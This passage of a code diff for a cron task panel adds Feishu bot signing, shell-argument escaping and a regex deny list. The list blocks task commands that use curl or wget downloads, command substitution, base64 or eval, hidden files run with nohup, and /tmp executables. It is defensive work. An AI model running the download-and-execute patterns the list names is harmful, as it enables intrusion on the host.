webhookMethod: undefined,
|
||||||
webhookContentType: undefined,
|
webhookContentType: undefined,
|
||||||
larkKey: undefined,
|
larkKey: undefined,
|
||||||
|
larkSecret: undefined,
|
||||||
ntfyUrl: undefined,
|
ntfyUrl: undefined,
|
||||||
ntfyTopic: undefined,
|
ntfyTopic: undefined,
|
||||||
ntfyPriority: undefined,
|
ntfyPriority: undefined,
|
||||||
@@ -3136,6 +3138,9 @@ export const NotificationInfo: MessageFns<NotificationInfo> = {
|
|||||||
if (message.larkKey !== undefined) {
|
if (message.larkKey !== undefined) {
|
||||||
writer.uint32(466).string(message.larkKey);
|
writer.uint32(466).string(message.larkKey);
|
||||||
}
|
}
|
||||||
|
if (message.larkSecret !== undefined) {
|
||||||
|
writer.uint32(554).string(message.larkSecret);
|
||||||
|
}
|
||||||
if (message.ntfyUrl !== undefined) {
|
if (message.ntfyUrl !== undefined) {
|
||||||
writer.uint32(474).string(message.ntfyUrl);
|
writer.uint32(474).string(message.ntfyUrl);
|
||||||
}
|
}
|
||||||
@@ -3640,6 +3645,14 @@ export const NotificationInfo: MessageFns<NotificationInfo> = {
|
|||||||
message.larkKey = reader.string();
|
message.larkKey = reader.string();
|
||||||
continue;
|
continue;
|
||||||
}
|
}
|
||||||
|
case 69: {
|
||||||
|
if (tag !== 554) {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
message.larkSecret = reader.string();
|
||||||
|
continue;
|
||||||
|
}
|
||||||
case 59: {
|
case 59: {
|
||||||
if (tag !== 474) {
|
if (tag !== 474) {
|
||||||
break;
|
break;
|
||||||
@@ -3797,6 +3810,7 @@ export const NotificationInfo: MessageFns<NotificationInfo> = {
|
|||||||
webhookMethod: isSet(object.webhookMethod) ? globalThis.String(object.webhookMethod) : undefined,
|
webhookMethod: isSet(object.webhookMethod) ? globalThis.String(object.webhookMethod) : undefined,
|
||||||
webhookContentType: isSet(object.webhookContentType) ? globalThis.String(object.webhookContentType) : undefined,
|
webhookContentType: isSet(object.webhookContentType) ? globalThis.String(object.webhookContentType) : undefined,
|
||||||
larkKey: isSet(object.larkKey) ? globalThis.String(object.larkKey) : undefined,
|
larkKey: isSet(object.larkKey) ? globalThis.String(object.larkKey) : undefined,
|
||||||
|
larkSecret: isSet(object.larkSecret) ? globalThis.String(object.larkSecret) : undefined,
|
||||||
ntfyUrl: isSet(object.ntfyUrl) ? globalThis.String(object.ntfyUrl) : undefined,
|
ntfyUrl: isSet(object.ntfyUrl) ? globalThis.String(object.ntfyUrl) : undefined,
|
||||||
ntfyTopic: isSet(object.ntfyTopic) ? globalThis.String(object.ntfyTopic) : undefined,
|
ntfyTopic: isSet(object.ntfyTopic) ? globalThis.String(object.ntfyTopic) : undefined,
|
||||||
ntfyPriority: isSet(object.ntfyPriority) ? globalThis.String(object.ntfyPriority) : undefined,
|
ntfyPriority: isSet(object.ntfyPriority) ? globalThis.String(object.ntfyPriority) : undefined,
|
||||||
@@ -3990,6 +4004,9 @@ export const NotificationInfo: MessageFns<NotificationInfo> = {
|
|||||||
if (message.larkKey !== undefined) {
|
if (message.larkKey !== undefined) {
|
||||||
obj.larkKey = message.larkKey;
|
obj.larkKey = message.larkKey;
|
||||||
}
|
}
|
||||||
|
if (message.larkSecret !== undefined) {
|
||||||
|
obj.larkSecret = message.larkSecret;
|
||||||
|
}
|
||||||
if (message.ntfyUrl !== undefined) {
|
if (message.ntfyUrl !== undefined) {
|
||||||
obj.ntfyUrl = message.ntfyUrl;
|
obj.ntfyUrl = message.ntfyUrl;
|
||||||
}
|
}
|
||||||
@@ -4086,6 +4103,7 @@ export const NotificationInfo: MessageFns<NotificationInfo> = {
|
|||||||
message.webhookMethod = object.webhookMethod ?? undefined;
|
message.webhookMethod = object.webhookMethod ?? undefined;
|
||||||
message.webhookContentType = object.webhookContentType ?? undefined;
|
message.webhookContentType = object.webhookContentType ?? undefined;
|
||||||
message.larkKey = object.larkKey ?? undefined;
|
message.larkKey = object.larkKey ?? undefined;
|
||||||
|
message.larkSecret = object.larkSecret ?? undefined;
|
||||||
message.ntfyUrl = object.ntfyUrl ?? undefined;
|
message.ntfyUrl = object.ntfyUrl ?? undefined;
|
||||||
message.ntfyTopic = object.ntfyTopic ?? undefined;
|
message.ntfyTopic = object.ntfyTopic ?? undefined;
|
||||||
message.ntfyPriority = object.ntfyPriority ?? undefined;
|
message.ntfyPriority = object.ntfyPriority ?? undefined;
|
||||||
|
|||||||
+1
-1
@@ -1,7 +1,7 @@
|
|||||||
// Code generated by protoc-gen-ts_proto. DO NOT EDIT.
|
// Code generated by protoc-gen-ts_proto. DO NOT EDIT.
|
||||||
// versions:
|
// versions:
|
||||||
// protoc-gen-ts_proto v2.6.1
|
// protoc-gen-ts_proto v2.6.1
|
||||||
// protoc v3.17.3
|
// protoc v3.21.12
|
||||||
// source: back/protos/cron.proto
|
// source: back/protos/cron.proto
|
||||||
|
|
||||||
/* eslint-disable */
|
/* eslint-disable */
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
// Code generated by protoc-gen-ts_proto. DO NOT EDIT.
|
// Code generated by protoc-gen-ts_proto. DO NOT EDIT.
|
||||||
// versions:
|
// versions:
|
||||||
// protoc-gen-ts_proto v2.6.1
|
// protoc-gen-ts_proto v2.6.1
|
||||||
// protoc v3.17.3
|
// protoc v3.21.12
|
||||||
// source: back/protos/health.proto
|
// source: back/protos/health.proto
|
||||||
|
|
||||||
/* eslint-disable */
|
/* eslint-disable */
|
||||||
|
|||||||
+23
-10
@@ -4,7 +4,7 @@ import config from '../config';
|
|||||||
import { Crontab, CrontabModel, CrontabStatus } from '../data/cron';
|
import { Crontab, CrontabModel, CrontabStatus } from '../data/cron';
|
||||||
import { exec, execSync } from 'child_process';
|
import { exec, execSync } from 'child_process';
|
||||||
import fs from 'fs/promises';
|
import fs from 'fs/promises';
|
||||||
import { CronExpressionParser } from 'cron-parser';
|
import CronExpressionParser from 'cron-parser';
|
||||||
import {
|
import {
|
||||||
getFileContentByName,
|
getFileContentByName,
|
||||||
fileExist,
|
fileExist,
|
||||||
@@ -467,7 +467,10 @@ export default class CronService {
|
|||||||
for (const doc of docs) {
|
for (const doc of docs) {
|
||||||
// Kill all running instances of this task
|
// Kill all running instances of this task
|
||||||
try {
|
try {
|
||||||
const command = this.makeCommand(doc);
|
if (doc.pid) {
|
||||||
|
await killTask(doc.pid);
|
||||||
|
}
|
||||||
|
const command = doc.command.replace(/\s+/g, ' ').trim();
|
||||||
await killAllTasks(command);
|
await killAllTasks(command);
|
||||||
this.logger.info(
|
this.logger.info(
|
||||||
`[panel][停止所有运行中的任务实例] 任务ID: ${doc.id}, 命令: ${command}`,
|
`[panel][停止所有运行中的任务实例] 任务ID: ${doc.id}, 命令: ${command}`,
|
||||||
@@ -636,6 +639,22 @@ export default class CronService {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Properly escape shell arguments to prevent command injection
|
||||||
|
* This function uses a more robust escaping mechanism than simple quote replacement
|
||||||
|
*/
|
||||||
|
private escapeShellArg(arg: string): string {
|
||||||
|
if (!arg) return "''";
|
||||||
|
|
||||||
|
// Remove newlines to prevent creating command chains
|
||||||
|
// Replace with space to maintain token separation
|
||||||
|
arg = arg.replace(/\r?\n/g, ' ').trim();
|
||||||
|
|
||||||
|
// Use single quotes and escape any single quotes within
|
||||||
|
// This is the most secure way to pass arbitrary strings to shell
|
||||||
|
return `'${arg.replace(/'/g, "'\\''")}'`;
|
||||||
|
}
|
||||||
|
|
||||||
private makeCommand(tab: Crontab, realTime?: boolean) {
|
private makeCommand(tab: Crontab, realTime?: boolean) {
|
||||||
let command = tab.command.trim();
|
let command = tab.command.trim();
|
||||||
if (!command.startsWith(TASK_PREFIX) && !command.startsWith(QL_PREFIX)) {
|
if (!command.startsWith(TASK_PREFIX) && !command.startsWith(QL_PREFIX)) {
|
||||||
@@ -647,16 +666,10 @@ export default class CronService {
|
|||||||
commandVariable += `log_name=${tab.log_name} `;
|
commandVariable += `log_name=${tab.log_name} `;
|
||||||
}
|
}
|
||||||
if (tab.task_before) {
|
if (tab.task_before) {
|
||||||
commandVariable += `task_before='${tab.task_before
|
commandVariable += `task_before=${this.escapeShellArg(tab.task_before)} `;
|
||||||
.replace(/'/g, "'\\''")
|
|
||||||
.replace(/;? *\n/g, ';')
|
|
||||||
.trim()}' `;
|
|
||||||
}
|
}
|
||||||
if (tab.task_after) {
|
if (tab.task_after) {
|
||||||
commandVariable += `task_after='${tab.task_after
|
commandVariable += `task_after=${this.escapeShellArg(tab.task_after)} `;
|
||||||
.replace(/'/g, "'\\''")
|
|
||||||
.replace(/;? *\n/g, ';')
|
|
||||||
.trim()}' `;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
const crontab_job_string = `${commandVariable}${command}`;
|
const crontab_job_string = `${commandVariable}${command}`;
|
||||||
|
|||||||
@@ -107,7 +107,7 @@ export default class DependenceService {
|
|||||||
query: any = {},
|
query: any = {},
|
||||||
): Promise<Dependence[]> {
|
): Promise<Dependence[]> {
|
||||||
let condition = query;
|
let condition = query;
|
||||||
if (DependenceTypes[type]) {
|
if (type && DependenceTypes[type] !== undefined) {
|
||||||
condition.type = DependenceTypes[type];
|
condition.type = DependenceTypes[type];
|
||||||
}
|
}
|
||||||
if (status) {
|
if (status) {
|
||||||
|
|||||||
@@ -13,6 +13,7 @@ import {
|
|||||||
stepPosition,
|
stepPosition,
|
||||||
} from '../data/env';
|
} from '../data/env';
|
||||||
import { writeFileWithLock } from '../shared/utils';
|
import { writeFileWithLock } from '../shared/utils';
|
||||||
|
import { sequelize } from '../data';
|
||||||
|
|
||||||
@Service()
|
@Service()
|
||||||
export default class EnvService {
|
export default class EnvService {
|
||||||
@@ -146,7 +147,7 @@ export default class EnvService {
|
|||||||
}
|
}
|
||||||
try {
|
try {
|
||||||
const result = await this.find(condition, [
|
const result = await this.find(condition, [
|
||||||
['isPinned', 'DESC'],
|
[sequelize.literal('COALESCE(`isPinned`, 0)'), 'DESC'],
|
||||||
['position', 'DESC'],
|
['position', 'DESC'],
|
||||||
['createdAt', 'ASC'],
|
['createdAt', 'ASC'],
|
||||||
]);
|
]);
|
||||||
|
|||||||
+19
-5
@@ -550,19 +550,33 @@ export default class NotificationService {
|
|||||||
}
|
}
|
||||||
|
|
||||||
private async lark() {
|
private async lark() {
|
||||||
let { larkKey } = this.params;
|
let { larkKey, larkSecret } = this.params;
|
||||||
|
|
||||||
if (!larkKey.startsWith('http')) {
|
if (!larkKey.startsWith('http')) {
|
||||||
larkKey = `https://open.feishu.cn/open-apis/bot/v2/hook/${larkKey}`;
|
larkKey = `https://open.feishu.cn/open-apis/bot/v2/hook/${larkKey}`;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
const body: Record<string, any> = {
|
||||||
|
msg_type: 'text',
|
||||||
|
content: { text: `${this.title}\n\n${this.content}` },
|
||||||
|
};
|
||||||
|
|
||||||
|
// Add signature if secret is provided
|
||||||
|
// Note: Feishu's signature algorithm uses timestamp+"\n"+secret as the HMAC key
|
||||||
|
// and signs an empty message, which differs from typical HMAC usage
|
||||||
|
if (larkSecret) {
|
||||||
|
const timestamp = Math.floor(Date.now() / 1000).toString();
|
||||||
|
const stringToSign = `${timestamp}\n${larkSecret}`;
|
||||||
|
const hmac = crypto.createHmac('sha256', stringToSign);
|
||||||
|
const sign = hmac.digest('base64');
|
||||||
|
body.timestamp = timestamp;
|
||||||
|
body.sign = sign;
|
||||||
|
}
|
||||||
|
|
||||||
try {
|
try {
|
||||||
const res = await httpClient.post(larkKey, {
|
const res = await httpClient.post(larkKey, {
|
||||||
...this.gotOption,
|
...this.gotOption,
|
||||||
json: {
|
json: body,
|
||||||
msg_type: 'text',
|
|
||||||
content: { text: `${this.title}\n\n${this.content}` },
|
|
||||||
},
|
|
||||||
headers: { 'Content-Type': 'application/json' },
|
headers: { 'Content-Type': 'application/json' },
|
||||||
});
|
});
|
||||||
if (res.StatusCode === 0 || res.code === 0) {
|
if (res.StatusCode === 0 || res.code === 0) {
|
||||||
|
|||||||
@@ -15,11 +15,11 @@ export function runCron(cmd: string, cron: ICron): Promise<number | void> {
|
|||||||
});
|
});
|
||||||
|
|
||||||
// Default to single instance mode (0) for backward compatibility
|
// Default to single instance mode (0) for backward compatibility
|
||||||
const allowMultipleInstances =
|
const allowSingleInstances =
|
||||||
existingCron?.allow_multiple_instances === 1;
|
existingCron?.allow_multiple_instances === 0;
|
||||||
|
|
||||||
if (
|
if (
|
||||||
!allowMultipleInstances &&
|
allowSingleInstances &&
|
||||||
existingCron &&
|
existingCron &&
|
||||||
existingCron.pid &&
|
existingCron.pid &&
|
||||||
(existingCron.status === CrontabStatus.running ||
|
(existingCron.status === CrontabStatus.running ||
|
||||||
|
|||||||
@@ -1,9 +1,60 @@
|
|||||||
import { Joi } from 'celebrate';
|
import { Joi } from 'celebrate';
|
||||||
import { CronExpressionParser } from 'cron-parser';
|
import CronExpressionParser from 'cron-parser';
|
||||||
import { ScheduleType } from '../interface/schedule';
|
import { ScheduleType } from '../interface/schedule';
|
||||||
import path from 'path';
|
import path from 'path';
|
||||||
import config from '../config';
|
import config from '../config';
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Security validation function to detect potentially malicious shell code patterns
|
||||||
|
*/
|
||||||
|
const validateShellSecurity = (value: any, helpers: any, fieldName: string): any => {
|
||||||
|
if (!value) return value;
|
||||||
|
|
||||||
|
// Define dangerous patterns that should be blocked
|
||||||
|
const dangerousPatterns = [
|
||||||
|
// Command substitution
|
||||||
|
/\$\([^)]*\)/,
|
||||||
|
/`[^`]*`/,
|
||||||
|
|
||||||
|
// File downloads
|
||||||
|
/\b(curl|wget|fetch)\s+/i,
|
||||||
|
|
||||||
|
// Suspicious domains or external URLs
|
||||||
|
/https?:\/\/[^\s]+/i,
|
||||||
|
|
||||||
|
// Hidden executable files (files starting with . in a path context)
|
||||||
|
/\/\.\w+(\s|$|;|&|\||>)/,
|
||||||
|
|
||||||
|
// Background process spawning with suspicious names
|
||||||
|
/nohup\s+["']?[^\s"']*\/\.\w+/,
|
||||||
|
|
||||||
|
// Redirect to dev null combined with downloads (hiding malware output)
|
||||||
|
/(curl|wget|fetch)[^;]*>.*\/dev\/null.*&/i,
|
||||||
|
|
||||||
|
// Base64 decode patterns (often used to obfuscate malicious code)
|
||||||
|
/\b(base64|decode|eval)\s+/i,
|
||||||
|
|
||||||
|
// Executable files in /tmp with chmod or execution
|
||||||
|
/\/tmp\/[^\s]+\s*(&&|;)\s*(chmod|\.\/)/ ,
|
||||||
|
];
|
||||||
|
|
||||||
|
for (const pattern of dangerousPatterns) {
|
||||||
|
if (pattern.test(value)) {
|
||||||
|
return helpers.error('string.unsafe', {
|
||||||
|
pattern: pattern.source,
|
||||||
|
field: fieldName
|
||||||
|
});
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Check for excessive length (potential buffer overflow or obfuscation)
|
||||||
|
if (value.length > 10000) {
|
||||||
|
return helpers.error('string.max', { limit: 10000 });
|
||||||
|
}
|
||||||
|
|
||||||
|
return value;
|
||||||
|
};
|
||||||
|
|
||||||
const validateSchedule = (value: string, helpers: any) => {
|
const validateSchedule = (value: string, helpers: any) => {
|
||||||
if (
|
if (
|
||||||
value.startsWith(ScheduleType.ONCE) ||
|
value.startsWith(ScheduleType.ONCE) ||
|
||||||
@@ -32,13 +83,25 @@ export const scheduleSchema = Joi.string()
|
|||||||
|
|
||||||
export const commonCronSchema = {
|
export const commonCronSchema = {
|
||||||
name: Joi.string().optional(),
|
name: Joi.string().optional(),
|
||||||
command: Joi.string().required(),
|
command: Joi.string().required().custom((value: any, helpers: any) => {
|
||||||
|
return validateShellSecurity(value, helpers, 'command');
|
||||||
|
}).messages({
|
||||||
|
'string.unsafe': '命令包含潜在危险的模式,已被安全系统拦截',
|
||||||
|
}),
|
||||||
schedule: scheduleSchema,
|
schedule: scheduleSchema,
|
||||||
labels: Joi.array().optional(),
|
labels: Joi.array().optional(),
|
||||||
sub_id: Joi.number().optional().allow(null),
|
sub_id: Joi.number().optional().allow(null),
|
||||||
extra_schedules: Joi.array().optional().allow(null),
|
extra_schedules: Joi.array().optional().allow(null),
|
||||||
task_before: Joi.string().optional().allow('').allow(null),
|
task_before: Joi.string().optional().allow('').allow(null).custom((value: any, helpers: any) => {
|
||||||
task_after: Joi.string().optional().allow('').allow(null),
|
return validateShellSecurity(value, helpers, 'task_before');
|
||||||
|
}).messages({
|
||||||
|
'string.unsafe': '前置命令包含潜在危险的模式,已被安全系统拦截',
|
||||||
|
}),
|
||||||
|
task_after: Joi.string().optional().allow('').allow(null).custom((value: any, helpers: any) => {
|
||||||
|
return validateShellSecurity(value, helpers, 'task_after');
|
||||||
|
}).messages({
|
||||||
|
'string.unsafe': '后置命令包含潜在危险的模式,已被安全系统拦截',
|
||||||
|
}),
|
||||||
log_name: Joi.string()
|
log_name: Joi.string()
|
||||||
.optional()
|
.optional()
|
||||||
.allow('')
|
.allow('')
|
||||||
@@ -81,5 +144,5 @@ export const commonCronSchema = {
|
|||||||
'string.max': '日志名称不能超过100个字符',
|
'string.max': '日志名称不能超过100个字符',
|
||||||
'string.unsafePath': '绝对路径必须在日志目录内或使用 /dev/null',
|
'string.unsafePath': '绝对路径必须在日志目录内或使用 /dev/null',
|
||||||
}),
|
}),
|
||||||
allow_multiple_instances: Joi.number().optional().valid(0, 1),
|
allow_multiple_instances: Joi.number().optional().valid(0, 1).allow(null),
|
||||||
};
|
};
|
||||||
|
|||||||
+37
-5
@@ -52,6 +52,7 @@ const push_config = {
|
|||||||
DD_BOT_TOKEN: '', // 钉钉机器人的 DD_BOT_TOKEN
|
DD_BOT_TOKEN: '', // 钉钉机器人的 DD_BOT_TOKEN
|
||||||
|
|
||||||
FSKEY: '', // 飞书机器人的 FSKEY
|
FSKEY: '', // 飞书机器人的 FSKEY
|
||||||
|
FSSECRET: '', // 飞书机器人的 FSSECRET,对应安全设置里的签名校验密钥
|
||||||
|
|
||||||
// 推送到个人QQ:http://127.0.0.1/send_private_msg
|
// 推送到个人QQ:http://127.0.0.1/send_private_msg
|
||||||
// 群:http://127.0.0.1/send_group_msg
|
// 群:http://127.0.0.1/send_group_msg
|
||||||
@@ -481,9 +482,13 @@ function tgBotNotify(text, desp) {
|
|||||||
timeout,
|
timeout,
|
||||||
};
|
};
|
||||||
if (TG_PROXY_HOST && TG_PROXY_PORT) {
|
if (TG_PROXY_HOST && TG_PROXY_PORT) {
|
||||||
|
let proxyHost = TG_PROXY_HOST;
|
||||||
|
if (TG_PROXY_AUTH && !TG_PROXY_HOST.includes('@')) {
|
||||||
|
proxyHost = `${TG_PROXY_AUTH}@${TG_PROXY_HOST}`;
|
||||||
|
}
|
||||||
let agent;
|
let agent;
|
||||||
agent = new ProxyAgent({
|
agent = new ProxyAgent({
|
||||||
uri: `http://${TG_PROXY_AUTH}${TG_PROXY_HOST}:${TG_PROXY_PORT}`,
|
uri: `http://${proxyHost}:${TG_PROXY_PORT}`,
|
||||||
});
|
});
|
||||||
options.dispatcher = agent;
|
options.dispatcher = agent;
|
||||||
}
|
}
|
||||||
@@ -989,11 +994,29 @@ function aibotkNotify(text, desp) {
|
|||||||
|
|
||||||
function fsBotNotify(text, desp) {
|
function fsBotNotify(text, desp) {
|
||||||
return new Promise((resolve) => {
|
return new Promise((resolve) => {
|
||||||
const { FSKEY } = push_config;
|
const { FSKEY, FSSECRET } = push_config;
|
||||||
if (FSKEY) {
|
if (FSKEY) {
|
||||||
|
const body = {
|
||||||
|
msg_type: 'text',
|
||||||
|
content: { text: `${text}\n\n${desp}` },
|
||||||
|
};
|
||||||
|
|
||||||
|
// Add signature if secret is provided
|
||||||
|
// Note: Feishu's signature algorithm uses timestamp+"\n"+secret as the HMAC key
|
||||||
|
// and signs an empty message, which differs from typical HMAC usage
|
||||||
|
if (FSSECRET) {
|
||||||
|
const crypto = require('crypto');
|
||||||
|
const timestamp = Math.floor(Date.now() / 1000).toString();
|
||||||
|
const stringToSign = `${timestamp}\n${FSSECRET}`;
|
||||||
|
const hmac = crypto.createHmac('sha256', stringToSign);
|
||||||
|
const sign = hmac.digest('base64');
|
||||||
|
body.timestamp = timestamp;
|
||||||
|
body.sign = sign;
|
||||||
|
}
|
||||||
|
|
||||||
const options = {
|
const options = {
|
||||||
url: `https://open.feishu.cn/open-apis/bot/v2/hook/${FSKEY}`,
|
url: `https://open.feishu.cn/open-apis/bot/v2/hook/${FSKEY}`,
|
||||||
json: { msg_type: 'text', content: { text: `${text}\n\n${desp}` } },
|
json: body,
|
||||||
headers: {
|
headers: {
|
||||||
'Content-Type': 'application/json',
|
'Content-Type': 'application/json',
|
||||||
},
|
},
|
||||||
@@ -1262,7 +1285,15 @@ function ntfyNotify(text, desp) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
return new Promise((resolve) => {
|
return new Promise((resolve) => {
|
||||||
const { NTFY_URL, NTFY_TOPIC, NTFY_PRIORITY, NTFY_TOKEN, NTFY_USERNAME, NTFY_PASSWORD, NTFY_ACTIONS } = push_config;
|
const {
|
||||||
|
NTFY_URL,
|
||||||
|
NTFY_TOPIC,
|
||||||
|
NTFY_PRIORITY,
|
||||||
|
NTFY_TOKEN,
|
||||||
|
NTFY_USERNAME,
|
||||||
|
NTFY_PASSWORD,
|
||||||
|
NTFY_ACTIONS,
|
||||||
|
} = push_config;
|
||||||
if (NTFY_TOPIC) {
|
if (NTFY_TOPIC) {
|
||||||
const options = {
|
const options = {
|
||||||
url: `${NTFY_URL || 'https://ntfy.sh'}/${NTFY_TOPIC}`,
|
url: `${NTFY_URL || 'https://ntfy.sh'}/${NTFY_TOPIC}`,
|
||||||
@@ -1277,7 +1308,8 @@ function ntfyNotify(text, desp) {
|
|||||||
if (NTFY_TOKEN) {
|
if (NTFY_TOKEN) {
|
||||||
options.headers['Authorization'] = `Bearer ${NTFY_TOKEN}`;
|
options.headers['Authorization'] = `Bearer ${NTFY_TOKEN}`;
|
||||||
} else if (NTFY_USERNAME && NTFY_PASSWORD) {
|
} else if (NTFY_USERNAME && NTFY_PASSWORD) {
|
||||||
options.headers['Authorization'] = `Basic ${Buffer.from(`${NTFY_USERNAME}:${NTFY_PASSWORD}`).toString('base64')}`;
|
options.headers['Authorization'] =
|
||||||
|
`Basic ${Buffer.from(`${NTFY_USERNAME}:${NTFY_PASSWORD}`).toString('base64')}`;
|
||||||
}
|
}
|
||||||
if (NTFY_ACTIONS) {
|
if (NTFY_ACTIONS) {
|
||||||
options.headers['Actions'] = encodeRFC2047(NTFY_ACTIONS);
|
options.headers['Actions'] = encodeRFC2047(NTFY_ACTIONS);
|
||||||
|
|||||||
@@ -49,6 +49,7 @@ push_config = {
|
|||||||
'DD_BOT_TOKEN': '', # 钉钉机器人的 DD_BOT_TOKEN
|
'DD_BOT_TOKEN': '', # 钉钉机器人的 DD_BOT_TOKEN
|
||||||
|
|
||||||
'FSKEY': '', # 飞书机器人的 FSKEY
|
'FSKEY': '', # 飞书机器人的 FSKEY
|
||||||
|
'FSSECRET': '', # 飞书机器人的 FSSECRET,对应安全设置里的签名校验密钥
|
||||||
|
|
||||||
'GOBOT_URL': '', # go-cqhttp
|
'GOBOT_URL': '', # go-cqhttp
|
||||||
# 推送到个人QQ:http://127.0.0.1/send_private_msg
|
# 推送到个人QQ:http://127.0.0.1/send_private_msg
|
||||||
@@ -233,6 +234,20 @@ def feishu_bot(title: str, content: str) -> None:
|
|||||||
|
|
||||||
url = f'https://open.feishu.cn/open-apis/bot/v2/hook/{push_config.get("FSKEY")}'
|
url = f'https://open.feishu.cn/open-apis/bot/v2/hook/{push_config.get("FSKEY")}'
|
||||||
data = {"msg_type": "text", "content": {"text": f"{title}\n\n{content}"}}
|
data = {"msg_type": "text", "content": {"text": f"{title}\n\n{content}"}}
|
||||||
|
|
||||||
|
# Add signature if secret is provided
|
||||||
|
# Note: Feishu's signature algorithm uses timestamp+"\n"+secret as the HMAC key
|
||||||
|
# and signs an empty message, which differs from typical HMAC usage
|
||||||
|
if push_config.get("FSSECRET"):
|
||||||
|
timestamp = str(int(time.time()))
|
||||||
|
string_to_sign = f'{timestamp}\n{push_config.get("FSSECRET")}'
|
||||||
|
hmac_code = hmac.new(
|
||||||
|
string_to_sign.encode("utf-8"), digestmod=hashlib.sha256
|
||||||
|
).digest()
|
||||||
|
sign = base64.b64encode(hmac_code).decode("utf-8")
|
||||||
|
data["timestamp"] = timestamp
|
||||||
|
data["sign"] = sign
|
||||||
|
|
||||||
response = requests.post(url, data=json.dumps(data)).json()
|
response = requests.post(url, data=json.dumps(data)).json()
|
||||||
|
|
||||||
if response.get("StatusCode") == 0 or response.get("code") == 0:
|
if response.get("StatusCode") == 0 or response.get("code") == 0:
|
||||||
|
|||||||
@@ -28,7 +28,6 @@ function run() {
|
|||||||
numParam,
|
numParam,
|
||||||
file_task_before,
|
file_task_before,
|
||||||
file_task_before_js,
|
file_task_before_js,
|
||||||
file_preload_js,
|
|
||||||
dir_scripts,
|
dir_scripts,
|
||||||
task_before,
|
task_before,
|
||||||
PREV_NODE_OPTIONS,
|
PREV_NODE_OPTIONS,
|
||||||
@@ -41,13 +40,7 @@ function run() {
|
|||||||
const fileName = process.argv[1].replace(`${dir_scripts}/`, '');
|
const fileName = process.argv[1].replace(`${dir_scripts}/`, '');
|
||||||
const tempFile = `/tmp/env_${process.pid}.json`;
|
const tempFile = `/tmp/env_${process.pid}.json`;
|
||||||
|
|
||||||
// Export NODE_OPTIONS so task_before can use it for any node commands
|
|
||||||
const nodeOptionsForBash = file_preload_js
|
|
||||||
? ['-r', file_preload_js, PREV_NODE_OPTIONS].filter(Boolean).join(' ')
|
|
||||||
: PREV_NODE_OPTIONS || '';
|
|
||||||
|
|
||||||
const commands = [
|
const commands = [
|
||||||
`export NODE_OPTIONS="${nodeOptionsForBash}"`,
|
|
||||||
`source ${file_task_before} ${fileName}`,
|
`source ${file_task_before} ${fileName}`,
|
||||||
task_before ? `eval '${task_before.replace(/'/g, "'\\''")}'` : null,
|
task_before ? `eval '${task_before.replace(/'/g, "'\\''")}'` : null,
|
||||||
`echo -e '${splitStr}'`,
|
`echo -e '${splitStr}'`,
|
||||||
|
|||||||
@@ -44,19 +44,11 @@ def run():
|
|||||||
split_str = "__sitecustomize__"
|
split_str = "__sitecustomize__"
|
||||||
file_name = sys.argv[0].replace(f"{os.getenv('dir_scripts')}/", "")
|
file_name = sys.argv[0].replace(f"{os.getenv('dir_scripts')}/", "")
|
||||||
|
|
||||||
# Get environment variables needed for PYTHONPATH
|
|
||||||
dir_preload = os.getenv("dir_preload", "")
|
|
||||||
dir_config = os.getenv("dir_config", "")
|
|
||||||
|
|
||||||
# 创建临时文件路径
|
# 创建临时文件路径
|
||||||
temp_file = f"/tmp/env_{os.getpid()}.json"
|
temp_file = f"/tmp/env_{os.getpid()}.json"
|
||||||
|
|
||||||
# Export PYTHONPATH so task_before can use it for any python commands
|
|
||||||
pythonpath_for_bash = ':'.join(filter(None, [dir_preload, dir_config, prev_pythonpath]))
|
|
||||||
|
|
||||||
# 构建命令数组
|
# 构建命令数组
|
||||||
commands = [
|
commands = [
|
||||||
f'export PYTHONPATH="{pythonpath_for_bash}"',
|
|
||||||
f'source {os.getenv("file_task_before")} {file_name}'
|
f'source {os.getenv("file_task_before")} {file_name}'
|
||||||
]
|
]
|
||||||
|
|
||||||
|
|||||||
@@ -389,6 +389,7 @@
|
|||||||
"消息接收人": "message recipient",
|
"消息接收人": "message recipient",
|
||||||
"调用版本;专业版填写pro,个人版填写personal,为空默认使用专业版": "Version, you can specify 'pro' for the Professional version and 'personal' for the Personal version. If left blank, it will default to the Professional version.",
|
"调用版本;专业版填写pro,个人版填写personal,为空默认使用专业版": "Version, you can specify 'pro' for the Professional version and 'personal' for the Personal version. If left blank, it will default to the Professional version.",
|
||||||
"飞书群组机器人:https://www.feishu.cn/hc/zh-CN/articles/360024984973": "Feishu group bot: https://www.feishu.cn/hc/zh-CN/articles/360024984973",
|
"飞书群组机器人:https://www.feishu.cn/hc/zh-CN/articles/360024984973": "Feishu group bot: https://www.feishu.cn/hc/zh-CN/articles/360024984973",
|
||||||
|
"飞书群组机器人加签密钥,安全设置中开启签名校验后获得": "Feishu group bot signature secret, obtained after enabling signature verification in security settings",
|
||||||
"邮箱服务名称,比如126、163、Gmail、QQ等,支持列表https://github.com/nodemailer/nodemailer/blob/master/lib/well-known/services.json": "Email service name, e.g., 126, 163, Gmail, QQ, etc. Supported list: https://github.com/nodemailer/nodemailer/blob/master/lib/well-known/services.json",
|
"邮箱服务名称,比如126、163、Gmail、QQ等,支持列表https://github.com/nodemailer/nodemailer/blob/master/lib/well-known/services.json": "Email service name, e.g., 126, 163, Gmail, QQ, etc. Supported list: https://github.com/nodemailer/nodemailer/blob/master/lib/well-known/services.json",
|
||||||
"邮箱地址": "Email Address",
|
"邮箱地址": "Email Address",
|
||||||
"SMTP 登录密码,也可能为特殊口令,视具体邮件服务商说明而定": "The SMTP login password may also be a special passphrase, depending on the specific email service provider's instructions",
|
"SMTP 登录密码,也可能为特殊口令,视具体邮件服务商说明而定": "The SMTP login password may also be a special passphrase, depending on the specific email service provider's instructions",
|
||||||
|
|||||||
@@ -389,6 +389,7 @@
|
|||||||
"消息接收人": "消息接收人",
|
"消息接收人": "消息接收人",
|
||||||
"调用版本;专业版填写pro,个人版填写personal,为空默认使用专业版": "调用版本;专业版填写pro,个人版填写personal,为空默认使用专业版",
|
"调用版本;专业版填写pro,个人版填写personal,为空默认使用专业版": "调用版本;专业版填写pro,个人版填写personal,为空默认使用专业版",
|
||||||
